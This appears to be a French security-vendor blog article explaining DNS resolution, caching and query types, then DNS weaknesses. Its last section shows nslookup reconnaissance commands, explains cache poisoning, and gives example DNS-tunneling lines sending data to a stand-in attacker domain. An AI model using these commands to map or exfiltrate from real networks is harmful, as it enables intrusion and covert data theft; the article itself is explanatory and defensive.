Qu’est-ce que le DNS, comment fonctionne-t-il et quelles sont ses vulnérabilités ?

DNS

Le Domain Name System (Système de noms de domaine – DNS) est la version Internet des Pages jaunes. Dans le bon vieux temps, lorsque vous aviez besoin de trouver l’adresse d’une entreprise, vous la recherchiez dans les Pages jaunes. C’est pareil avec le DNS, sauf que vous n’avez pas vraiment besoin de rechercher quoi que ce soit : votre ordinateur, qui est connecté à Internet, le fait pour vous. C’est ainsi que votre ordinateur sait comment trouver Google, ou ESPN.com, ou Varonis.fr.

Pour que deux ordinateurs puissent communiquer sur un réseau IP, le protocole exige qu’ils aient tous deux une adresse IP. Vous pouvez voir une adresse IP comme une adresse postale : pour qu’un ordinateur puisse « localiser » un autre ordinateur, il doit en connaître l’adresse. Comme la plupart des humains sont meilleurs pour retenir des noms – www.varonis.fr – plutôt que des nombres – 104.196.44.111, ils ont besoin d’un programme informatique pour traduire ces noms en adresses IP.

Le programme traduisant les noms en numéros, et inversement, est appelé « DNS », ou Domain Name System, et les ordinateurs sur lesquels fonctionne un DNS sont appelés « serveurs DNS. » Sans DNS, nous devrions nous rappeler l’adresse IP de tout serveur auquel nous voulons nous connecter, ce qui serait particulièrement fastidieux.

Comment fonctionne le DNS

Le DNS fait partie intégrante d’Internet et il est important de comprendre son fonctionnement.

On peut voir le DNS comme un annuaire téléphonique, mais au lieu de faire correspondre les noms des personnes avec leur adresse postale, cet annuaire fait correspondre des noms d’ordinateurs avec des adresses IP. Chaque correspondance est appelée un « enregistrement DNS. »

Internet comprenant un très grand nombre d’ordinateurs, cela n’aurait pas de sens de placer tous ces enregistrements dans un seul très gros annuaire. Le DNS est plutôt organisé en annuaires plus petits, appelés domaines. Les domaines pouvant être très vastes, ils sont eux-mêmes organisés en annuaires plus petits, appelés « zones ».  Il n’existe pas de serveur DNS unique qui stockerait tous les annuaires : cela serait irréalisable.

Au lieu de cela, nous avons un grand nombre de serveurs DNS qui stockent tous les enregistrements DNS d’Internet. Tout ordinateur voulant connaître un numéro ou un nom peut interroger son serveur DNS. Lorsque celui-ci a besoin d’un enregistrement, il sait comment interroger d’autres serveurs DNS (en émettant une requête). Lorsqu’un serveur DNS interroge d’autres serveurs DNS, il émet une requête « en amont ». Les demandes de domaine peuvent circuler « en amont » jusqu’à remonter à l’autorité du domaine, ou « serveur de noms faisant autorité ».

Le serveur de noms faisant autorité est celui où les administrateurs gèrent les noms de serveur et les adresses IP de leurs domaines. Lorsqu’un administrateur de DNS veut ajouter, modifier ou supprimer un nom de serveur ou une adresse IP, il effectue un changement sur son serveur DNS faisant autorité (appelé parfois « serveur DNS maître »). On trouve également des serveurs DNS « esclaves » qui détiennent des copies des enregistrements DNS pour leurs zones et domaines.

how DNS works

Les quatre serveurs DNS qui chargent une page Web

  • Le serveur DNS récursif (Resolving Name Server) : le serveur DNS récursif répond à une requête DNS et demande l’adresse à d’autres serveurs DNS, ou détient déjà un enregistrement de l’adresse IP du site.
  • Serveur racine du DNS (Root Name Server) : il s’agit du serveur de noms pour la zone racine. Il répond à des requêtes directes et peut renvoyer une liste de noms de serveurs faisant autorité pour le domaine de haut niveau correspondant.
  • Serveur DNS TLD : le serveur TLD (top-level domain : domaine de premier niveau) est l’un des serveurs DNS de haut niveau que l’on trouve sur Internet. Lorsque vous recherchez www.varonis.com, un serveur TLD répondra en premier pour le « .com », puis le DNS recherchera « varonis ».
  • Serveur de noms faisant autorité (Authoritative Name Server) : le serveur de noms faisant autorité constitue le terminus d’une requête DNS. Le serveur de noms faisant autorité contient l’enregistrement DNS répondant à la requête.

Types de service DNS

On trouve deux types de service DNS différents sur Internet. Chacun de ces services traite différemment les requêtes DNS, selon leurs fonctions.

  • Résolveur DNS récursif : un résolveur DNS récursif est un serveur DNS qui répond à la requête et recherche le serveur de noms faisant autorité ou un cache de DNS contenant le résultat de la requête.
  • Serveur DNS faisant autorité : un serveur DNS faisant autorité contient le résultat de la requête DNS. De ce fait, si vous demandez à un serveur DNS faisant autorité l’une de ses adresses IP, celui-ci n’a pas besoin d’interroger un autre serveur. Le serveur de noms faisant autorité est l’autorité finale en ce qui concerne les noms et adresses IP.

DNS public et DNS privé

Le DNS a été créé pour permettre aux personnes de se connecter aux services disponibles sur Internet.  Pour qu’un serveur soit accessible sur l’Internet public, il a besoin d’un enregistrement DNS et son adresse IP doit être accessible sur Internet, ce qui signifie qu’il n’est pas bloqué par un pare-feu. Les serveurs DNS publics sont accessibles à toute personne pouvant s’y connecter et n’exigent aucune authentification.

Il est intéressant de noter que tous les enregistrements DNS ne sont pas publics. Aujourd’hui, en plus de permettre à leurs employés d’utiliser le DNS pour naviguer sur Internet, les organisations utilisent le DNS de façon à ce qu’ils puissent trouver des serveurs privés internes. Lorsqu’une organisation souhaite garder confidentiels des noms de serveur et des adresses IP, ou empêcher qu’ils ne soient directement accessibles par Internet, elle ne les inscrit pas dans des serveurs DNS publics. Au lieu de cela, ces organisations les inscrivent dans des serveurs DNS privés, ou internes. Il s’agit de serveurs DNS internes qui stockent les noms et adresses IP des éléments importants de leur infrastructure, tels que les serveurs de fichiers, les serveurs de messagerie, les contrôleurs de domaines, les serveurs de bases de données, les serveurs d’applications, etc.

N’oubliez pas : comme les serveurs DNS externes, les serveurs DNS internes n’exigent pas d’authentification. Cela est dû au fait que DNS a été créé il y a longtemps, lorsque la sécurité posait beaucoup moins de problèmes. La plupart du temps, toute personne se trouvant à l’intérieur du pare-feu, que ce soit par infiltration ou par connexion via VPN, est en mesure d’interroger des serveurs DNS internes. La seule chose qui empêche une personne « externe » d’accéder aux serveurs DNS internes et de les interroger est qu’elle ne peut pas s’y connecter directement.

  • DNS public : pour qu’un serveur soit accessible sur l’Internet public, il doit avoir un enregistrement DNS public, et son adresse IP doit être accessible sur Internet.
  • DNS privé : les ordinateurs qui sont derrière un pare-feu ou dans un réseau interne utilisent un enregistrement DNS privé qui permet aux ordinateurs locaux de les identifier par leur nom. Les utilisateurs extérieurs, sur Internet, ne pourront pas accéder directement à ces ordinateurs.

Les 7 étapes d’une recherche DNS

Examinons le déroulement précis d’une requête DNS.

  1. Une requête DNS débute lorsque vous essayez d’accéder à un ordinateur sur Internet. Par exemple, vous tapez www.varonis.com dans la barre d’adresse de votre navigateur.
  2. La première étape de la requête DNS est le cache du DNS local. Lorsque vous accédez à différents ordinateurs, leur adresse IP est stockée dans un référentiel local.  Si vous avez déjà visité www.varonis.com, l’adresse IP se trouve dans votre cache.
  3. Si l’adresse IP ne se trouve pas dans le cache de votre DNS local, le DNS va consulter un serveur DNS récursif. Pour cela, votre équipe informatique ou votre fournisseur d’accès Internet (ISP) fournit en général un serveur DNS récursif.
  4. Le serveur DNS récursif a son propre cache et, s’il contient l’adresse IP, il vous l’enverra en retour. Si ce n’est pas le cas, il en fera la demande à un autre serveur DNS.
  5. L’étape suivante est constituée des serveurs de noms TLD, dans ce cas le serveur de noms TLD pour les adresses en .com. Ces serveurs ne contiennent pas l’adresse IP dont nous avons besoin, mais ils peuvent envoyer la requête DNS dans la bonne direction.
  6. Les serveurs de noms TLD connaissent l’emplacement du serveur de noms ayant autorité pour le site recherché. Le serveur de noms ayant autorité répond avec l’adresse IP de www.varonis.com et le serveur DNS récursif la stocke dans le cache DNS local, puis l’envoie en retour vers votre ordinateur.
  7. Votre service DNS local obtient l’adresse IP et se connecte à www.varonis.com pour télécharger tout son (merveilleux) contenu. Le DNS enregistre ensuite l’adresse IP dans le cache local, en lui associant une durée de vie (TTL pour time-to-live). Le TTL est la durée de validité de l’enregistrement DNS local. Lorsque ce délai sera expiré, et la prochaine fois que vous voudrez accéder à varonis.com, le DNS suivra à nouveau le parcours que nous venons de décrire.

Quels sont les types de requêtes DNS ?

Les requêtes DNS sont le code informatique qui indique aux serveurs DNS la nature de la requête et les informations qui sont demandées. Une recherche DNS standard peut correspondre à trois requêtes DNS de base.

  • Requête récursive : dans une requête récursive, l’ordinateur demande une adresse IP ou la confirmation que le serveur DNS ne connaît pas cette adresse IP.
  • Requête itérative : avec une requête itérative, on demande au serveur DNS la meilleure réponse en sa possession. Si le serveur DNS n’a pas l’adresse IP, il renverra le serveur de noms ayant autorité ou le serveur de noms TLD. Le demandeur poursuivra son processus itératif jusqu’à ce qu’il obtienne une réponse ou que le délai imparti expire.
  • Requête non récursive : un résolveur DNS utilisera cette requête pour trouver une adresse IP qu’il ne détient pas dans son propre cache. Pour limiter l’utilisation de la bande passante réseau, celles-ci sont limitées à une seule requête.

types of DNS queries

Qu’est-ce que le cache DNS + fonctions de mise en cache ?

Le cache DNS est un référentiel de noms de domaine et d’adresses IP stockés sur un ordinateur, et qui permet de ne pas avoir à demander une adresse IP à chaque fois. Imaginez si, à chaque fois qu’un utilisateur tentait de se rendre sur www.varonis.com, le DNS devait envoyer une requête aux serveurs de noms ayant autorité pour Varonis. Cela générerait un trafic considérable ! La seule pensée de ce trafic explique le pourquoi de la mise en cache DNS. La mise en cache DNS répond à deux objectifs majeurs :

  • Accélérer les requêtes DNS
  • Réduire la bande passante des requêtes DNS sur Internet

La méthodologie du cache DNS présente cependant certains problèmes :

  • Les modifications de DNS nécessitent du temps pour se propager, ce qui fait qu’il peut s’écouler un certain temps avant que le cache de l’ensemble des serveurs DNS soit mis à jour avec les données IP les plus récentes.
  • Le cache DNS est un vecteur d’attaque possible pour les pirates

Plusieurs types de mise en cache coexistent sur Internet :

  • La mise en cache DNS du navigateur : les navigateurs modernes (2018) intègrent une fonctionnalité de mise en cache. La résolution d’une requête DNS avec le cache local est rapide et efficace.
  • La mise en cache DNS du système d’exploitation : votre ordinateur est un client DNS, et il contient un service qui gère les requêtes et la résolution DNS. Ce cache DNS est également local : il est donc rapide et n’exige aucune bande passante.
  • La mise en cache DNS par résolution récursive : chaque DNS récursif a son propre cache DNS, et il y stocke toutes les adresses IP dont il a connaissance en vue de traiter les prochaines requêtes.

Faiblesses et vulnérabilités du DNS

Le DNS présente trois vulnérabilités majeures auxquelles il faut être attentif et que les pirates exploitent fréquemment :

  1. Les serveurs DNS internes détiennent tous les noms et adresses IP des serveurs de leurs domaines et les partagent avec tout utilisateur qui en fait la demande. Cela fait du DNS une précieuse source d’informations pour les pirates cherchant à procéder à une reconnaissance interne.
  2. Les caches DNS « ne font pas autorité » et ils peuvent être manipulés. Si votre serveur DNS est « empoisonné » par de mauvais enregistrements, les ordinateurs peuvent être dupés et envoyés dans une mauvaise direction.
  3. Le DNS relaie les informations de requête depuis les stations de travail internes vers les serveurs externes, et les pirates ont appris à exploiter ce comportement pour créer des « canaux cachés » destinés à exfiltrer des données.

DNS weaknesses and vulnerabilites

Utiliser le DNS pour le repérage

Lorsqu’un pirate est à l’intérieur d’un pare-feu et qu’il a pris le contrôle d’un ordinateur, il peut utiliser le DNS pour trouver des noms de serveurs importants. Les pirates peuvent chercher les noms associés à des adresses IP internes : serveurs de messagerie, serveurs de noms et toutes sortes d’informations précieuses. S’ils sont assez astucieux, ils peuvent même demander à un serveur DNS interne de leur envoyer un grand nombre d’informations sur les zones de leur domaine. C’est ce qu’on appelle une « attaque par transfert de zone DNS ».

Si vous avez un ordinateur Windows, exécutez les commandes suivantes telles quelles. Si vous êtes un utilisateur Linux, recherchez les commandes correspondantes.

  1. Ouvrez une Invite de commande (tapez Ctrl + Echap, puis les lettres « cmd » et Entrée).
  2. Tapez ipconfig
  3. Vous verrez alors le domaine DNS dans lequel vous vous trouvez (Suffixe DNS propre à la connexion), votre adresse IP, et un tas d’autres informations. Il se peut que vous ayez à vous référer ultérieurement à ces informations.
  4. Tapez nslookup [adresse ip]. Vous verrez le nom du serveur DNS qui répond et, si le nom est connu, l’enregistrement DNS listant le nom et l’adresse IP.
  5. nslookup –type=soa [votre domaine] Cette commande renvoie votre serveur DNS ayant autorité ; et comme ce serait pratique si vous essayiez d’infiltrer un réseau.
  6. nslookup –type=MX [votre domaine] Cette commande renvoie tous les serveurs de messagerie de votre domaine local, juste au cas où vous voudriez les pirater et que vous ne sachiez pas où ils se trouvent.

Utiliser les DNS pour rediriger le trafic

Souvenez-vous que lorsqu’un utilisateur tente d’accéder à un site Web, son ordinateur demande à son serveur DNS l’adresse IP de ce site, ou son enregistrement DNS. Si le serveur DNS a en cache une copie de cet enregistrement, il répond. Sinon, il envoie une requête à un serveur DNS en « amont », relaie les résultats vers l’utilisateur et les met en cache pour la prochaine fois.

Les pirates ont trouvé un moyen de trafiquer les réponses DNS ou de renvoyer des réponses semblant provenir de serveurs DNS légitimes. Sans trop rentrer dans les détails techniques, ils exploitent pour cela trois faiblesses du DNS :

  1. Le DNS ne réalise qu’une validation très insuffisante des réponses provenant des serveurs en amont. Les réponses doivent juste contenir le bon ID de transaction, qui n’est un nombre sur 16 bits (de 0 à 65536). Tout comme il ne faut pas tant de personnes que ça dans une pièce pour que deux d’entre elles aient la même date d’anniversaire, deviner le bon ID est plus facile que vous ne pourriez le penser.
  2. Les serveurs DNS acceptant des réponses simultanées (ou quasi simultanées) à leurs requêtes, cela permet aux pirates de réaliser de nombreux essais pour trouver l’ID de la transaction (ce qui ressemble un peu à une attaque par force brute pour trouver un mot de passe).
  3. Les connexions IP utilisées par le DNS sont faciles à « falsifier ». Cela signifie qu’un pirate peut envoyer du trafic vers un serveur DNS à partir d’un ordinateur et faire croire qu’il provient d’un autre ordinateur, par exemple un serveur DNS valide. Seuls certains types de connexions IP sont faciles à falsifier, et il se trouve que le DNS en fait partie.

Si un pirate réussit à falsifier une réponse DNS, il peut créer un enregistrement empoisonné dans le cache du serveur DNS destinataire. Mais en quoi cela aide-t-il les pirates ?

Voici un exemple : supposons qu’un pirate apprenne que votre organisation utilise une application externe pour quelque chose d’important, par exemple la gestion des dépenses. Si le pirate empoisonne le serveur DNS de votre organisation de façon à envoyer les utilisateurs vers son propre serveur, tout ce qu’il a à faire est de créer une page de connexion paraissant légitime pour que les utilisateurs y saisissent leurs données d’identification. Il peut même relayer le trafic vers le serveur réel (agissant comme un « homme du milieu »), ce qui fait que personne ne remarquera rien. Le pirate peut alors tenter d’utiliser ces données d’identification sur d’autres systèmes, les vendre ou se contenter de triompher en poussant un rire démoniaque.

Utiliser le DNS comme un canal caché

Supposons qu’un pirate soit parvenu à pénétrer un réseau (corp.com), à compromettre un hôte ou deux, et à trouver des données sensibles qu’il désire exfiltrer. Comment peut-il le faire sans déclencher la moindre alarme ? Les pirates utilisent pour cela une technique appelée « tunneling DNS ». Ils mettent en place un domaine DNS sur Internet (evil-domain.com, par exemple) et créent un serveur de noms ayant autorité. Puis, sur l’hôte compromis, le pirate utilise un programme qui fractionne les données en petits morceaux qu’il insère dans une série de requêtes DNS telles que :

  • nslookup My1secret1.evil-domain.com
  • nslookup is1that1I1know.evil-domain.com
  • nsllookup how2steal1data.evil-domain.com

Le serveur DNS de corp.com recevra ces requêtes, déterminera que son cache ne contient pas les résultats et relaiera les requêtes vers le serveur de noms ayant autorité pour evil-domain.com. Le pirate attend ce trafic, et il exécutera sur son serveur de noms ayant autorité un programme qui extraira la première partie de la requête (tout ce qui précède evil-domain.com), puis réassemblera les morceaux. Si l’organisation ne vérifie pas les requêtes envoyées par ses serveurs DNS, il se peut qu’elle ne se rende jamais compte qu’ils ont été utilisés pour exfiltrer des données.

Le DNS existe depuis longtemps, et tout ordinateur connecté à Internet s’appuie sur lui. Les pirates utilisent maintenant le DNS à la fois pour des reconnaissances externes et internes, pour détourner le trafic et pour créer des canaux de communication cachés. Heureusement, en surveillant les serveurs DNS et en réalisant des analyses de sécurité, un grand nombre de ces attaques peuvent être détectées et contrecarrées.

Vous voulez voir comment ?  Participez à nos ateliers de cyberattaque en direct montrant comment nos ingénieurs en sécurité exécutent une attaque et exfiltrent des données grâce au tunneling DNS, tout cela en temps réel !